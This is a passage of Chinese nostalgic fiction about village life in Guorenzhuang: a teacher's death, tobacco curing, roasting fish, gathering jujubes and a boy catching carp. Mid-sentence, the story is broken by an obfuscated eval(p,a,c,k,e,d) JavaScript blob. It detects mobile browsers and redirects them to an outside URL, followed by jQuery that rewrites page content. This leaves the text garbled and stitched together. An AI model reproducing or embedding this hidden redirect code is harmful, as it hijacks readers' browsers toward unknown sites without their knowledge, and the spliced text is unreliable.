远处传来贾师母吆喝牲口的声音，他攥着铁钉的手顿了顿，又加快了敲打节奏。窗外，新插的柳枝在风里摇晃，像极了孩子们高举的小手。
麦收时节，贾老师咳血的频率越来越高。他瞒着所有人，把止疼片碾碎混在面汤里。
某天正午，正在教孩子们认字的他突然眼前一黑，倒在讲台上。苏醒时，看见满屋哭成泪人的孩子，最调皮的铁柱攥着把野菊花，哽咽着说：“老师，俺以后再也不逃学了......“
深秋的风卷着初雪掠过郭任庄时，贾老师的床前摆满了孩子们凑来的稀罕物：半块水果糖、晒干的野山楂、用草绳捆着的野鸡蛋。
他颤抖着抚摸这些带着体温的礼物，望着窗外飘飞的雪花，仿佛看见无数亮晶晶的眼睛在云层后闪烁。
因为贾老师的离世，影响到了郭任庄的人，对未来不能说什么，心里都有些担忧，只是感觉有些恐慌，不知道将来会怎么样，对未来有期待，也有担忧，人人都在想，可是又不得要领。在这方面，几乎没有人能够看清前进的方向。
大家心情沉重过了一段时间，日子还是要继续，小队有烤烟房，卖烤好的烟叶可以提高小队的收入。
在稻场里有新摘下来的烟叶。
在宽阔的打谷场上，阳光倾洒而下，一片金黄灿烂。妇女们围坐在一起，身前堆满了刚刚采摘下来的新鲜烟叶。
她们手法娴熟，粗糙却灵巧的双手在烟叶间忙碌穿梭。
先仔细地挑选出形状完整、品质优良的烟叶，轻轻掸去叶片上的尘土。
然后取来一旁准备好的细长麻绳，将烟叶整齐地叠放，一片挨着一片，从叶柄处开始缠绕捆绑。
有的妇女低着头，专注于手中的动作，额头上细密的汗珠在阳光下闪烁，却也顾不上擦拭；有的则偶尔抬起头，与旁边的姐妹交谈几句，交流着捆绑的技巧或是分享着家中的琐事，脸上洋溢着质朴的笑容。
年幼些的女孩在一旁帮忙递烟叶，眼睛好奇地看着大人们劳作，时不时学着大人的样子摆弄几下手中的小烟叶。
而年长些的妇女则起着带头示范的作用，她们不仅速度快，而且捆绑得极为紧实美观，麻绳在烟叶间穿梭自如，如同在编织一件精美的艺术品。
随着一捆捆烟叶逐渐成型，打谷场上的烟叶堆慢慢减少，而旁边准备送往烤烟房的烟叶捆却越来越多，堆成了一座小小的“烟叶山”。
这些妇女们用自己的辛勤劳作，为接下来的烤烟工序做好了充分准备，在那个年代，她们以这样的方式，为家庭、为集体贡献着自己的力量，成为乡村田野间一道独特而动人的风景线。
浩楠跟着小伙伴们玩耍。
冰玉在场记工分。
在烤烟房里，炽热的炭火在炉坑中静静燃烧，橘红色的火光映照着墙壁。烤烟房里弥漫着浓郁的烟叶香，层层叠叠的烟叶被精心地挂在架子上，正慢慢接受着热力的烘烤，逐渐由青变黄，散发出独特的韵味。
肖国富是负责烤烟的，他的儿子肖兵是浩楠的玩伴。
肖国富忙里偷闲，可能从附近的小水塘里捉来了几条小鱼，此刻他们三个围坐在烤烟房烧火的地方，那里窝下去，刚好允许一人操作，往炉膛里添柴火。
添了柴火后，肖国富找来了几根细长的树枝，将小鱼串起，放在炭火旁烤着。小鱼在火上渐渐变得金黄，鱼油滋滋地冒着泡，滴落在炭火上，发出轻微的噼啪声，那香味混合着烟叶香，竟别有一番风味。
肖国富笑着说：“这烤烟的时候还能有这口福，可真不错。”
肖兵接话道：“是的，爸爸，这小鱼好吃。浩楠，你说好吃吗？”
“好吃，烤得外焦里嫩，真好吃。”浩楠说着，只见肖国富轻轻转动着手中的树枝，让鱼受热更均匀。三人你一言我一语地聊着，眼睛却始终盯着那渐渐烤熟的小鱼。
当鱼烤好后，他们小心翼翼地吹了吹，然后迫不及待地咬上一口，脸上露出满足的神情。在这忙碌的烤烟劳作中，这片刻的欢愉显得格外珍贵，他们一边吃着，一边分享着生活中的趣事，笑声在烤烟房里回荡，暂时忘却了生活的疲惫与艰辛，只享受着这简单而又实在的快乐时光。
一场风雨从郭任庄席卷而过。
狂风呼啸着穿过村庄，豆大的雨点噼里啪啦地砸落，浩楠家房屋前后还有学校院墙边上那几株老枣树在风雨中剧烈摇晃。
风雨过后，天空渐渐放晴，地上满是被吹落的枣子，像一颗颗红玛瑙散落在泥地与草丛间。
一群小朋友们看到这场景，眼睛里闪烁着兴奋的光芒。他们呼喊着，从自家院子或是街巷里飞奔而来。
娃娃们穿着打着补丁的衣服和破旧的布鞋，不顾地上的泥泞。有的蹲下身子，小手快速地在地上捡起枣子，直接放进嘴里，咬得嘎嘣脆，脸上洋溢着甜蜜的笑容；有的则从家里拿来小布袋、小竹筐，小心翼翼地把枣子装进去，还互相比较着谁捡得多。
调皮的小亿爬到了树上，想看看有没有被风雨遗漏的枣子，他在树枝间穿梭，摇落了几串枣子，引得树下的小伙伴们一阵欢呼雀跃，争抢着去接。
而文静的小华则在一旁仔细地挑选着那些没有破损的枣子，她想着要把最好的枣子带回家给奶奶尝尝。
他们的欢声笑语在村子里回荡，这满地的枣子成了大自然给予孩子们最美好的馈赠，让他们在那个物资并不充裕的年代，收获了满满的快乐与甜蜜。
那年的黄梅天来得格外早。
浩楠趴在教室的窗台上，看着屋檐的雨帘把远处的山峦泡成青灰色。
忽然一阵风掠过，老枣树上熟透的红枣噼里啪啦砸在泥地上，混着雨水滚进墙根，像撒了一地暗红的灯笼。
他数着那些圆滚滚的果实，舌尖泛起酸甜，连贾老师板书的沙沙声都变得模糊起来。
雨停的午后，堰塘的水漫过了堤岸。浩楠光着脚踩在水沟旁的淤泥里，裤腿卷得老高。
浑浊的水流裹着碎叶打着旋儿，忽然闪过一道银鳞——是条草鱼！他扑过去伸手去抓，却只攥住满手水草。
鱼儿尾巴一扫，溅了他满脸泥点，又顺着水沟钻进芦苇荡。远处几个孩子举着竹筐追来，惊起一群白鹭，翅膀拍打水面的声音惊碎了满塘倒影。
暮色渐浓时，浩楠蹲在石板桥上。潮湿的青苔沁着凉意，他看着水面上漂浮的枣子随波摇晃，忽然被什么东西拖进了水底。
原来是条鲫鱼咬住了果肉，尾巴搅动的涟漪一圈圈荡开，和天边火烧云的颜色融成一片。
对岸炊烟升起，混着雨后泥土的腥香钻进鼻子，浩楠摸了摸兜里的半块烤红薯，忽然觉得这个总在挨饿的村庄，原来藏着这么多会发光的秘密。
一场暴雨倾盆而下，浩楠家门前的池塘的水迅速满溢。
雨水混着泥土，顺着小沟潺潺流淌。
那年的夏天，郭任庄的日头总把麦秸垛晒得噼啪作响。
浩楠赤着脚踩过滚烫的晒谷场，脚趾缝里嵌着金黄的麦屑，老远就听见贾老师摇响那截生锈的铁轨——下课铃又响了。
他像只撒欢的小鹿，抱着豁口的搪瓷缸冲向老槐树下的水井，冰凉的井水泼在脸上，溅起的水珠里映着细碎的阳光。
村东头的堰塘是孩子们的乐园。
浩楠和虎娃偷偷扒光衣裳，扎进泛着油绿的水面。
塘底的淤泥裹住脚踝，水草缠着小腿，他却笑得呛了好几口水。
偶尔摸到个河蚌，壳上黏着滑腻的青苔，剥开时珍珠般的肉团在掌心跳动，引得伙伴们挤成一团争抢。
等夕阳把云彩烧成橘子色，他们才套上湿漉漉的裤衩，肚皮贴着晒得发烫的石板路，看蚂蚁排着队搬运掉落的桑葚。
秋夜的月光总把打谷场铺成银毯。浩楠蜷在草垛里，听老人们讲古。李大爷的烟袋锅明明灭灭，火星子溅在干草上，又被晚风轻轻吹熄。
故事里的英雄骑着枣红马踏过冰河，而他的鼻尖萦绕着新麦的甜香和艾草的苦气。
远处传来几声狗吠，惊起栖息在谷堆里的蟋蟀，唧唧的鸣声和天上的星星一样清亮。
就连寒冬也藏着惊喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557715|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。大雪封村的清晨，浩楠踩着过膝的积雪往学校跑，棉鞋里灌进的雪水冻得脚趾发麻。
推开教室门，却见贾老师生起了炭火，铁锅里的红薯正滋滋冒油。孩子们挤在长凳上，冻僵的手指掰着滚烫的薯肉，甜香混着煤烟在土坯房里打转。窗外的雪粒子扑簌簌撞在玻璃上，而他们的笑声，把屋顶的积雪都震落了。
雨刚停，但小雨还是淅淅沥沥的，世平带着浩楠来到小沟，世平知道这里有鱼。
他手里紧紧握着畚箕，眼睛里闪烁着兴奋与急切。
浩楠第一个跑到沟边，他将畚箕往小河沟里一放，周围过水的地方全部用泥巴糊起来，让水从畚箕穿过，等水流过去，鱼就留下来，为了防止鱼进入畚箕后逃走，浩楠站在畚箕上，等到脚旁有鱼进入到畚箕里面，就抬起畚箕，畚箕里就会出现活蹦乱跳的鱼儿，十分喜人，然后将畚箕倒在岸上，那鱼儿就在泥地上蹦跶翻身，最终失去力气，就成了浩楠的水桶里的猎物。
浩楠收获一批鱼，就又放下畚箕，将畚箕两边再用泥巴糊起来，让水不从两边走，只走中间，这样才能抓到鱼。
浩楠眼睛紧紧盯着沟里浑浊的水流，身体前倾，时刻准备着。
不一会儿，几条鱼儿随着水流游了过来，它们在湍急的水流中有些慌乱地摆着尾巴。小明瞅准时机，猛地将畚箕提起来，溅起大片水花。世平喊道：“快，快！”
浩楠双手紧紧握住畚箕，脸上憋得通红，生怕一松手鱼儿就跑了。
这时，世平也拿着畚箕过来帮忙，他小心翼翼地在下游筑起一道“防线”，防止鱼儿逃脱。
浩楠的眼睛一眨不眨地盯着水里，有的则在一旁跑来跑去，寻找着可能出现的更大的鱼。
突然，水里的鱼儿猛地一窜，溅起的水花弄了浩楠一脸，可他丝毫不气馁，往上游拼命逃窜。
浩楠不慌不忙，他很清楚，这条逃命的鱼最终还是要回来，不过是回去拐个弯再来，这条鱼的目标是浩楠的畚箕那边，只要越过去，游进大河里，就能获得自由。
这矮矮的畚箕不是什么障碍，难不倒鱼。浩楠看到那条白色的有力气的鱼拼命逃窜，他喃喃说道：“看你往哪儿跑！”
终于，那条肥硕的逃跑的鱼又来了，浩楠感觉到是一条鲫鱼，等它一进到畚箕就被浩楠感觉到了，被浩楠兴奋地从水里捞了出来，举在手中，鱼儿在阳光下闪着银光，世平和浩楠顿时爆发出一阵欢呼，那笑声在雨后的乡村上空回荡，久久不散。
天晚了，雨也彻底停了，叔侄俩满载而归，晚上油煎鲫鱼。
在奶奶的灶房里，土灶台上的大铁锅正稳稳架着。刚刚叔侄俩从池塘边新鲜捉来的鲫鱼早已处理干净，在一旁的陶碗里码放整齐，身上还带着几滴水珠，在昏黄的灯光下闪烁着光泽。
灶膛里的柴火噼里啪啦地燃烧着，映红了灶房的墙壁。锅里倒入了些许大队里分的菜籽油，随着油温渐渐升高，油开始微微冒烟，发出轻微的滋滋声。
这时，奶奶将鲫鱼顺着锅沿轻轻滑入锅中，瞬间，锅里热闹了起来。鲫鱼的表皮与热油接触，发出一阵欢快的“嗞啦”声，就像一首独特的厨房交响曲。
只见鱼身周围迅速泛起白色的泡泡，那是鱼肉里的水分在高温下迅速蒸发。
原本青灰色的鲫鱼表皮慢慢变得金黄，油花在鱼身周围跳跃、翻滚，仿佛在为这美味的诞生欢呼。
奶奶手持铁铲，小心翼翼地翻动着鲫鱼，每一次翻动都带起一阵诱人的香气。
那香味先是淡淡的，带着一丝清新的鱼香和菜籽油的醇厚，随着煎制的深入，香味愈发浓郁。
它弥漫在整个灶房，顺着门缝飘到了院子里，引得院子里玩耍的孩子们纷纷围到灶房门口，不停地吸着鼻子，眼神里满是期待与馋意。
奶奶又往锅里撒了一小撮盐，盐粒在高温下迅速融化，融入鱼肉之中，进一步激发了鲫鱼的鲜美。
继续煎制片刻后，鲫鱼的两面都呈现出完美的金黄色，外皮微微酥脆，内里的鱼肉却鲜嫩多汁。